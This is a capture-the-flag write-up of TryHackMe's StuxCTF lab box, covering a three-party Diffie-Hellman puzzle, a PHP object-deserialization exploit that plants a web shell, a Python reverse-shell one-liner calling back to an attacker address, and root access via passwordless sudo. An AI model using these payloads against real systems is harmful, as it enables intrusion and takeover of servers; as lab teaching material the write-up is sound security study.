TryHackMe – StuxCTF

CTF Writeup on TryHackMe's "StuxCTF" challenge where we explore Diffie-Hellman and PHP object deserialization exploits.

Today we will be tackling a medium box, TryHackMe’s “StuxCTF”.

Recon

The first thing I did on this box was fire up a nmap scan in the background (that wasn’t used in the end) and open the IP in a browser to see if it was hosting anything. As expected there was a webpage here but nothing appears interesting until we inspect the page and see that some comments were left in the HTML.

<!-- The secret directory is...
p: 9975298661...;
g: 7;
a: 330;
b: 450;
g^c: 6091917800...;
-->

Cryptography

Coming from a cryptography background I immediately identified this as the setup for a Diffie-Hellman key exchange. In this case we have a generator (g), a prime number (p), and two secret keys (a and b). We also have another value g^c which I didn’t quite understand at first.

Essentially Diff-Hellman allows the creation of a shared secret key between parties over an insecure channel where even if you could eavesdrop on the communication it would be mathematically implausible for a listener to recreate the secret. I invite you to read the Wikipedia page about this but to cut to the chase essentially we are abusing the following exponent rule:

(a^m)^n = a^mn

so by making up and sharing a generator g and then putting it to the power of our secret key a before sharing it, the other party can get end on the same number as us by taking the number we share with them, g^a, to the power of their own private number b getting g^ab. We never actually share a or b. I won’t go into detail as to why but in order for this to be secure we also need to mod our number after each step by a large prime number that is public knowledge (p).

What tripped me up about this problem is that we are actually doing Diffe-Hellman with more than two parties. The last value we are given is g^c which has already been mixed with the generator. (c being the private key of our third party)

Using what we have, we need to solve for g^abc, our final shared secret. Here’s how you do that using Python’s interactive mode.

┌──(kali㉿kali)-[~/Desktop/thm/StuxCTF]
└─$ python
Python 3 (main) [GCC] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> # Define all the variables we've been given
>>> p=9975298661...
>>> g=7
>>> a=330
>>> b=450
>>> g_c=6091917800...
>>> # Solve for g to the power of abc mod p
>>> g_ac=pow(g_c,a,p)
>>> g_abc=pow(g_ac,b,p)
>>> g_abc
47315...76839

If we look at the hint given to us for this CTF, we see that we only need the first 128 characters

What is the hidden directory?
HINT: g ^ a mod p, g ^ b mod p, g ^ C mod p
first 128 characters …

>>> str(g_abc)[:128]
'47315...55055'

This is our hidden directory.

Getting a Foothold

Navigating to the directory we just solved for takes us to the following page:

Another hint in the HTML comments

<!-- hint: /?file= -->

Seems like we can get files here. Trying to navigate to /?file=user.txt or attempting some directory traversal to get out of /var/www/html via /?file=../../../etc/passwd results in the same page:

Since it seems that we aren’t going to get away with an easy win here let’s change tact. It doesn’t seem like we can grab any files from outside wherever this page lives in the filesystem. It would really help to know how and what is actually happening behind the scenes.

Let’s see if we can’t get index.php by passing /?file=index.php

Great. This looks like hexadecimal, so let’s throw it in CyberChef to decode it:

These are definitely base64 characters, but valid base64 strings don’t start with =, they can only end with it. Let’s try reversing it to see if that will give us anything readable:

This looks like the index file we were looking for. Here is it cleaned up to just the php elements:

error_reporting(0);
class file {
        public $file = "dump.txt";
        public $data = "dump test";
        function __destruct(){
                file_put_contents($this->file, $this->data);
        }
}
$file_name = $_GET['file'];
if(isset($file_name) && !file_exists($file_name)){
        echo "File no Exist!";
}
if($file_name=="index.php"){
        $content = file_get_contents($file_name);
        $tags = array("", "");
        echo bin2hex(strrev(base64_encode(nl2br(str_replace($tags, "", $content)))));
}
unserialize(file_get_contents($file_name));

That explains why the formatting on index.php was so cursed. Taking a look at what is going on here, it looks like for any file that isn’t index.php has it contents loaded and directly unserialized. The php documentation directly warns about this.

Warning

Do not pass untrusted user input to unserialize() regardless of the options value of allowed_classes

There is already a definition for file here which has a destructor that saves anything in $data to $file. Assuming that we can pass some malicious or otherwise vulnerable objects here, we should be able to get the web-server save whatever is inside it.

First let’s see if we can load in our own files by hosting a http server and serving up a dummy file:

┌──(kali㉿kali)-[~/Desktop/thm/StuxCTF]
└─$ touch dummy.txt
                                                                                                                    
┌──(kali㉿kali)-[~/Desktop/thm/StuxCTF]
└─$ python -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

and now querying /?file=<Local IP>/dummy.txt

<Box IP> - - [02/Feb/2025 10:53:15] "GET /dummy.txt HTTP/1.0" 200 -

Thankfully for us it was configured to accept external files and seems to have fetched our dummy file.

Now that we know that works, let’s make our own malicious file object and serialize it:

<?php
class file {
        public $file = "test.php";
        public $data = "<?php echo 'vuln' ?>";
}

print serialize(new file);
?>
php malobj.php > malobj.txt

gives us

O:4:"file":2:{s:4:"file";s:8:"test.php";s:4:"data";s:20:"<?php echo 'vuln' ?>";}

Now if we go ahead and query for our malobj.txt just like the dummy text from before and navigate to test.php we see the following:

Jackpot!

Getting a Shell

webshell

Since we can run whatever we want let’s go ahead and upload a webshell. Here is our new PHP object:

<?php
class file {
        public $file = "wshell.php";
        public $data = '<?php system($_GET["cmd"])?>';
}

print serialize(new file);
?>

Uploading the same way as above, we can now query /wshell.php?cmd=whoami and see the following:

reverse shell

We’re in. At this point we could go looking for the flag right away, but instead I would like to get a more interactive reverse shell going. Let’s go ahead and start a netcat listener:

nc -lvnp 1337

By executing which python you can see that python is on this server, so we can execute a python reverse shell (from this cheatsheet) and then connect to it:

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ATTACKING-IP",1337));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

URL encoded to

python%20-c%20'import%20socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((%22ATTACKING-IP%22,1337));os.dup2(s.fileno(),0);%20os.dup2(s.fileno(),1);%20os.dup2(s.fileno(),2);p=subprocess.call(%5B%22/bin/sh%22,%22-i%22%5D);'

Giving us a hit:

┌──(kali㉿kali)-[~/Desktop/thm/StuxCTF]
└─$ nc -lvnp 1337
listening on [any] 1337 ...
connect to [Box IP] from (UNKNOWN) [Local IP] 49556
/bin/sh: 0: can't access tty; job control turned off
$ whoami
www-data
$ 

upgrading

The last thing I would like to do before hunting for flags is upgrading this dumb shell to something that allows for backspaces and auto completion. Since we already know we have python on the system this should be easy.

python -c 'import pty; pty.spawn("/bin/bash")'

Then, background the shell with ctrl + z

stty raw -echo; fg;

and just press enter for a much more sane experience.

user.txt

Browsing on over to the home directory we can quickly find and read the user.txt file.

www-data@ubuntu:/$ cd /home
www-data@ubuntu:/home$ ls
grecia
www-data@ubuntu:/home$ ls grecia/
user.txt
www-data@ubuntu:/home$ cat grecia/user.txt

root.txt

The first thing I did on this machine was run sudo -l to see what sudo permissions our user has.

www-data@ubuntu:/$ sudo -l
Matching Defaults entries for www-data on ubuntu:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User www-data may run the following commands on ubuntu:
    (ALL) NOPASSWD: ALL

Yikes! Looks like we have permission to do anything we want without a password. Let’s abuse this by switching over to the root user and grabbing it’s flag.

www-data@ubuntu:/$ sudo su
root@ubuntu:/# cd
root@ubuntu:~# ls
root.txt
root@ubuntu:~# cat root.txt

I was promised “priv scalation” but I guess so much for that. :/

Thank you for reading my writeup! If there’s anything I left out, didn’t catch, or you have any questions/comments let me know below! See you next time 🙂

Leave a Reply

Your email address will not be published. Required fields are marked *